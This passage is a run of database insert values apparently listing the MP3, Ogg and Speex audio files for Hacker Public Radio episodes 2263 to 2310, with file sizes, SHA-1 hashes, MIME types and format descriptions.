(2263,'hpr2263.mp3','mp3',12665761,'8a281db0866fa40c1df2ed6d5a24081cb6718d3d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2263,'hpr2263.ogg','ogg',13737106,'3c3044888747d21246b12fbe54c49a85ee18ce48','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2263,'hpr2263.spx','spx',5656350,'82cc683e82e58344961c997147b267ce351e682c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2264,'hpr2264.mp3','mp3',5097967,'2df366d52dfcf556d6f2b5574e2046b2c6a84f3d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2264,'hpr2264.ogg','ogg',5374831,'4d671a024a382692e590cf8e2d2a349050f316fc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2264,'hpr2264.spx','spx',2276450,'100d10ca017d78c4003bf829b0fbd5f360ec0c0a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2265,'hpr2265.mp3','mp3',5001027,'902a58a3fb92486c6d3ce1ce30a4bd20b7abcba4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2265,'hpr2265.ogg','ogg',5518012,'ab44d6be96adf18c00dfc0a2367464b3c83721ac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2265,'hpr2265.spx','spx',2233182,'68ba5d542ec74f05e67cdd24313a312cb2a2441f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2266,'hpr2266.mp3','mp3',20860057,'0e9455d2211c829a44dd476dbd60d636b3c7ddb3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2266,'hpr2266.ogg','ogg',20952012,'ef5cfc663b5bc9329f43ef46308826c4327a7390','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2266,'hpr2266.spx','spx',9316048,'2017a01c4f6e6dc76e4120ced0dd36408eb94dc7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2267,'hpr2267.mp3','mp3',14579397,'91c16edddccfdba4a72272f79543f1e4e09447a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2267,'hpr2267.ogg','ogg',14568256,'949fe254aeb957ca0b82104a439a0edd3e488f73','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2267,'hpr2267.spx','spx',6511001,'1b05dd0b9e111a57ee769643bee10df15d3334b9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2268,'hpr2268.mp3','mp3',10171170,'8f1aea4d131b62f499255e96dc3a1d57f36962a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2268,'hpr2268.ogg','ogg',10694694,'804d4e369119719301d7f9f2853e89c5235e5b03','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2268,'hpr2268.spx','spx',4542260,'e4be5d7665654e61fa0e195f8c35ae36c18404af','application/ogg; charset=binary','Ogg data, Speex audio'),
(2269,'hpr2269.mp3','mp3',21329874,'87b1426a9a184380aa58e5f7e23bcf94f08ba411','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2269,'hpr2269.ogg','ogg',22411973,'c6106330096315b2cba4652725cfb378be62a9ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2269,'hpr2269.spx','spx',9525885,'72626a66196cfcd08ad30253c070a1f3a37c65f5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2270,'hpr2270.mp3','mp3',16234553,'6f1df3ced48ac799f19f786122214ba2fbb08d43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2270,'hpr2270.ogg','ogg',18280191,'ff4a672ec7582c9b2862b6e10ae58705294c07fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2270,'hpr2270.spx','spx',7250330,'ae46b34891e67c4f28ca367c7f8d128f6d525ab4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2271,'hpr2271.mp3','mp3',4140056,'21a25cd07cb97b6b3cfe36c47e6118fa022d5a55','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2271,'hpr2271.ogg','ogg',4612741,'a138b10b9b9459ee8c959de01aa1fa2decef236f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2271,'hpr2271.spx','spx',1848770,'cbe295dac5b40a8f87565cc4cd83aae8abdf4c21','application/ogg; charset=binary','Ogg data, Speex audio'),
(2272,'hpr2272.mp3','mp3',7200998,'2b081a8a891e9ae94c2676356c112b79dc56df8f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2272,'hpr2272.ogg','ogg',8008692,'b8aa017cdcd0886fd9b0bdd5f6ba93b7c6c03f67','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2272,'hpr2272.spx','spx',3215766,'5b3ec0a2750017d54390e7d3c98befad999701da','application/ogg; charset=binary','Ogg data, Speex audio'),
(2273,'hpr2273.mp3','mp3',12220436,'ec59088c2b309753394e11c7e3d339816a93e1d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2273,'hpr2273.ogg','ogg',13213245,'ec4f17292d3ea941cb74c06ad12dbb98d25b6dac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2273,'hpr2273.spx','spx',5457499,'2d9c31ce54e67d04266adacd7a7e2e936d0d3086','application/ogg; charset=binary','Ogg data, Speex audio'),
(2274,'hpr2274.mp3','mp3',5551100,'7350b2436d0de4f5af0b62ebdb73a7ec680b198d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2274,'hpr2274.ogg','ogg',5180808,'0252cb2836269d5dc601746aaa70713dbb4d646e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2274,'hpr2274.spx','spx',2478884,'f22cdbd52474eeac6688a87696d4f612ccb91d72','application/ogg; charset=binary','Ogg data, Speex audio'),
(2275,'hpr2275.mp3','mp3',10095921,'dd3f2eb1d2ca077518b0e55f5d2a7a6ddac82b0c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2275,'hpr2275.ogg','ogg',11442144,'9c157929628666af2de89f1b071b547b9966f5e2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2275,'hpr2275.spx','spx',4508656,'2f6960872f140ff903fa09794831d959e7549f7f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2276,'hpr2276.mp3','mp3',15324647,'0166abb6bef138f97e4eab29f5bffe270b421d4d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2276,'hpr2276.ogg','ogg',15222094,'cd4f0a5102dba3713e5cf95de384f377ad517125','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2276,'hpr2276.spx','spx',6843881,'19712b8720a731542da081883c8fe28fa3eb4508','application/ogg; charset=binary','Ogg data, Speex audio'),
(2277,'hpr2277.mp3','mp3',8183620,'65ddcbf316fea00d5b8628d5959bcdf3d9e97e81','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2277,'hpr2277.ogg','ogg',8881063,'081faa0acc7f6151615b338f6ded6c6e3d546462','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2277,'hpr2277.spx','spx',3654656,'c41cc19576ca4cd7418bfd1d18d6da222d2f2ccd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2278,'hpr2278.mp3','mp3',20075990,'3c853d0e7af7c6cd69148ef3d1dc515e23fe3377','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2278,'hpr2278.ogg','ogg',22119923,'91fd29878e69bdbbb6bd7b25f844aafe89e218aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2278,'hpr2278.spx','spx',8965932,'ce5d2a4a7f3edb3c4f4572adede7232a337388a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2279,'hpr2279.mp3','mp3',3449153,'66106d049b7a27cddd5ba431791cab18aa13fb32','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2279,'hpr2279.ogg','ogg',3702675,'86b39e23328d463d1e23904eb22e4c77603722e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2279,'hpr2279.spx','spx',1540204,'800ae412a654a509ab21b5bb2aa0272ba8dc0d12','application/ogg; charset=binary','Ogg data, Speex audio'),
(2280,'hpr2280.mp3','mp3',5320986,'01422a46d58d828f5bf47e9eb29dee1725825baa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2280,'hpr2280.ogg','ogg',6256867,'a07c37c94bc21ad0a6aa329fc9a5a9817b256c53','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2280,'hpr2280.spx','spx',2376111,'0ffec76c1ec84b18880f7ddebef461f5b53fa761','application/ogg; charset=binary','Ogg data, Speex audio'),
(2281,'hpr2281.mp3','mp3',45525133,'38becfad5aaaa84148d1b75bab881bc3f96fc375','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2281,'hpr2281.ogg','ogg',43853889,'9bed51cbb5ae4e63cb9180de2bd54858fbc40e88','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2281,'hpr2281.spx','spx',20331726,'ecb3ee93ca8b0d17959a2f6233fd311b0d2c799d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2282,'hpr2282.mp3','mp3',19873728,'da6479c12d84c4f61cecd785ef717c1524746d8a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2282,'hpr2282.ogg','ogg',22394287,'2ed6e0fa01ddfce1b7364a03bffd133aafd6f9ad','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2282,'hpr2282.spx','spx',8875580,'c4b1cadd0510b41d2ea2eb58b47b7debe105c81d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2283,'hpr2283.mp3','mp3',9330916,'60f13101d272b951f318ae9d4ce15de59e9c7009','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2283,'hpr2283.ogg','ogg',10731296,'a0758769f069a87c90b9bc5d0974a45986457a4c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2283,'hpr2283.spx','spx',4167018,'81a4cb9b3e6317bc155db60b6e986f38cdbc80d4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2284,'hpr2284.mp3','mp3',8230854,'e83fd48820f27c1a56fc4c779ea962acd0dafa8d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2284,'hpr2284.ogg','ogg',8933916,'dc4386ca3802f7d6dbe3d7f86342649aa39b73b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2284,'hpr2284.spx','spx',3675740,'67ccc99b0a04d91e9b446332b0c121944121b574','application/ogg; charset=binary','Ogg data, Speex audio'),
(2285,'hpr2285.mp3','mp3',5255807,'543321dca026de39ec22ca078aa767a30b3a5c13','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2285,'hpr2285.ogg','ogg',5938286,'2e1bc50106dd4acef28d2acaff3d863f1ef8e6fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2285,'hpr2285.spx','spx',2347048,'968e2b6e466d6d9cbd7afaad211609457232a301','application/ogg; charset=binary','Ogg data, Speex audio'),
(2286,'hpr2286.mp3','mp3',6237778,'9bf4076b89881f2f2c1ef9644b8cffb9f1667d36','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2286,'hpr2286.ogg','ogg',6865706,'683ec1a3d7f5c91d780a688833a75cb5db1f364b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2286,'hpr2286.spx','spx',2785630,'f12830fdb9ddf0512733a60fc5fed0f9cd14a11b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2287,'hpr2287.mp3','mp3',14923187,'4e49ef91468a68e2cc36de650d2cee10d62b78f6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2287,'hpr2287.ogg','ogg',15064196,'ef0b610103f37826d38257b8c22f3ec29c057656','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2287,'hpr2287.spx','spx',6664571,'31f6b4c4b4e02a007c741dcf5f42e62c748be939','application/ogg; charset=binary','Ogg data, Speex audio'),
(2288,'hpr2288.mp3','mp3',6422974,'32e9db2e86c0f82c6435ca95a705876e38102066','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2288,'hpr2288.ogg','ogg',7235731,'5c8ab8d776311ce2b46c99e924df54a83526949e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2288,'hpr2288.spx','spx',2868357,'5d8f40fc1e933caa27dfcee5f279351961d80192','application/ogg; charset=binary','Ogg data, Speex audio'),
(2289,'hpr2289.mp3','mp3',2551002,'51566d80405ec0959553d19115f83b8c4b317d45','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2289,'hpr2289.ogg','ogg',2893928,'9311fd40a06bf9b4a9c8b01242a305afb6612f72','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2289,'hpr2289.spx','spx',1139017,'57d7ce592d463ffb0977acc1966bfffbec85d074','application/ogg; charset=binary','Ogg data, Speex audio'),
(2290,'hpr2290.mp3','mp3',2420154,'1d5d6315a936a11ea507997a904bde5cdb1998f6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2290,'hpr2290.ogg','ogg',2679368,'555846ba3dcb30b353eda04bb86d4d6640dd50cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2290,'hpr2290.spx','spx',1080677,'1908e1475ba72639c8bb8629ec1b0db1871b1eaf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2291,'hpr2291.mp3','mp3',5810017,'3f6dff12cb3cd6963a0703c4659d633a34ad5c3d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2291,'hpr2291.ogg','ogg',6497505,'5323f014604716c0f49ecefb6f3ec7fccffd9526','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2291,'hpr2291.spx','spx',2594510,'38f2e94dc7e62cfb8a53a65c8b8c486f1c7553a7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2292,'hpr2292.mp3','mp3',11582445,'480a1f9466471a7966bdb90af8892252f2cacf59','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2292,'hpr2292.ogg','ogg',13668888,'a68d1957b97dba47b3250f3f70fa5837d7906f24','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2292,'hpr2292.spx','spx',5172609,'41e8871d4a5528f68d862a83e0add11989297ba9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2293,'hpr2293.mp3','mp3',19535778,'503358064d055bc5f041742bf6a9f74ae3adda3b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2293,'hpr2293.ogg','ogg',21721678,'906a16b0f870d7fb5fecb2fdca2a64753e44bdce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2293,'hpr2293.spx','spx',8724626,'51c455d131808bb350c57efe5a6d009b1e91b9ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(2294,'hpr2294.mp3','mp3',6391796,'033748b511dfab242b4147b0547b14aa97809f28','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2294,'hpr2294.ogg','ogg',7234739,'da6aaedbed864e0a05ebe1bcc46f79ee93e14303','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2294,'hpr2294.spx','spx',2854435,'7a7b7ecb9105bd72a71a8b8683e41cb0aaf74751','application/ogg; charset=binary','Ogg data, Speex audio'),
(2295,'hpr2295.mp3','mp3',5331408,'bf4d89927def41765cdabcb1de0b4ba450b0c755','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2295,'hpr2295.ogg','ogg',5816082,'0f06a4d90825996e6aae1ad764d467290fcdd630','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2295,'hpr2295.spx','spx',2380725,'1f79afc7c8848c591e4256ed56e1c61646e08a12','application/ogg; charset=binary','Ogg data, Speex audio'),
(2296,'hpr2296.mp3','mp3',6927427,'56c896f6ef3f5ef96dbb40ce398d595dc3346e69','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2296,'hpr2296.ogg','ogg',8282548,'96deb88a749996bbf7071df8da5d27fa47137d40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2296,'hpr2296.spx','spx',3093627,'cc9bbbde5981c2bc6563c887022e99578e94ef98','application/ogg; charset=binary','Ogg data, Speex audio'),
(2297,'hpr2297.mp3','mp3',67941093,'ca346272284b625193c9fa66b93d2bc7960fcd24','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(2297,'hpr2297.ogg','ogg',52381736,'21a352503e844314a8d63264e801649e6f959694','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(2297,'hpr2297.spx','spx',15171670,'906dc559ce3962fcf0b7b52423a5384587c0ed50','application/ogg; charset=binary','Ogg data, Speex audio'),
(2298,'hpr2298.mp3','mp3',3249767,'bc10b638c6cab68e37096fffea6b0b698a153260','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2298,'hpr2298.ogg','ogg',3543428,'4551f06809ce03e59aa2bb65e625eb01595ba40b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2298,'hpr2298.spx','spx',1451081,'9b5db22e1a297746cc67980e16052d095b0f1b5c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2299,'hpr2299.mp3','mp3',4091333,'8830a73a8e2dd75a53b35c97178fcf256a526795','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2299,'hpr2299.ogg','ogg',4578609,'f1d8fcabd8aa1e4a2194e8101ab9f25a0db3368a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2299,'hpr2299.spx','spx',1826949,'47c3d2a9b49558c2e09aa8eddfc213b8518f40fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2300,'hpr2300.mp3','mp3',6318453,'a97789db7e4449f662eced87b9ed41a1e089ec84','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2300,'hpr2300.ogg','ogg',5856420,'849fe5c33e321de9fc78d6739dbfc30971e1d62a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2300,'hpr2300.spx','spx',2821665,'74b5f246f931cb7d1eaffda520ef5f5877e62b24','application/ogg; charset=binary','Ogg data, Speex audio'),
(2301,'hpr2301.mp3','mp3',7561677,'4066c1bcdd7e463ee7911b848bfdbd5e2da774e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2301,'hpr2301.ogg','ogg',9052656,'56e7e9e06ea517ec0b795781341d01a9c96c21dd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2301,'hpr2301.spx','spx',3376877,'1e9efe42686561ddcce4777af2b5bea9d1a4412b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2302,'hpr2302.mp3','mp3',4510150,'eed1444435bc4df2b3ab45fe02be703c42a45abf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2302,'hpr2302.ogg','ogg',5094856,'ade90760353e31e8e9f02bff91154a3f53abdccc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2302,'hpr2302.spx','spx',2013966,'e0e451fe84f47c86965109069afd631fb65ab80a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2303,'hpr2303.mp3','mp3',8437256,'18ef31c6ac57690c49918604321b384c50ede07a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2303,'hpr2303.ogg','ogg',9928272,'0d4f3ce32171824ae83ec9564d588ccdc187f0b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2303,'hpr2303.spx','spx',3767853,'996f3c5aa7a8a005a64758d862fd121e9bfa299c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2304,'hpr2304.mp3','mp3',6243257,'293d61d8fc798831677d3f81e1ac0be12b6ca3fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2304,'hpr2304.ogg','ogg',6955178,'736d8485f112e1a81b51f7cd0433cb01260c59c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2304,'hpr2304.spx','spx',2788116,'cdbac2f85606d0cbae09a2c84aae82069fa4dd9a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2305,'hpr2305.mp3','mp3',6576367,'93df541be150145cbff4da58a539cfd80676344e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2305,'hpr2305.ogg','ogg',7011328,'cd85111f53f3147eb71aabe8293074b33b8aea3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2305,'hpr2305.spx','spx',2936809,'1349529a73048ac57c33bd34d4b9cc9c1b45015f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2306,'hpr2306.mp3','mp3',43117475,'acbfa29a1b1103bf3db14b9e694f326053ea7cdf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2306,'hpr2306.ogg','ogg',45073914,'b6a6d458760422bb0415d9773aee22c8ce24c1e5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2306,'hpr2306.spx','spx',19256429,'f071162e83bbd364f2aabc249a26e2f1b72d0b4e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2307,'hpr2307.mp3','mp3',8669478,'454d67c41f46b84e34ef51a5be3e2f5c47917d1a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2307,'hpr2307.ogg','ogg',10409782,'cf6ccf89f77e4caabfb769e61bf1903338b64be6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2307,'hpr2307.spx','spx',3871596,'b42fbf70ab99fca5a64147aea69c5483a2456764','application/ogg; charset=binary','Ogg data, Speex audio'),
(2308,'hpr2308.mp3','mp3',8494157,'6bf47600de8a171936c7903e526d6f1f3be7729a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2308,'hpr2308.ogg','ogg',8900267,'63cdc78b579fcdb53ac54df5d0e072b6e703a29f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2308,'hpr2308.spx','spx',3793280,'bdb1a14ca795a42a27de66ba54be1b198535632a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2309,'hpr2309.mp3','mp3',11136925,'b8b2dde27a0b302055936e754d148fbae7b457ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2309,'hpr2309.ogg','ogg',12887281,'62875591ea90fde7f4d0d3d92c7844789e9d3bc7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2309,'hpr2309.spx','spx',4973630,'117d94c864a55f1fd7c9043c1337dcb002f43fe4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2310,'hpr2310.mp3','mp3',10169322,'b31ef0968f020b1b4319d5324085c4855ef01b4b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2310,'hpr2310.ogg','ogg',11603476,'e09a3b06fa393ec1c46231e755b3a758cce7d26c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2310,'hpr2310.spx','spx',4541511,'b7cf59ee1c87587ebcc4f88dfec4bfd68b101799','application/ogg; charset=binary','Ogg data, Speex audio'),
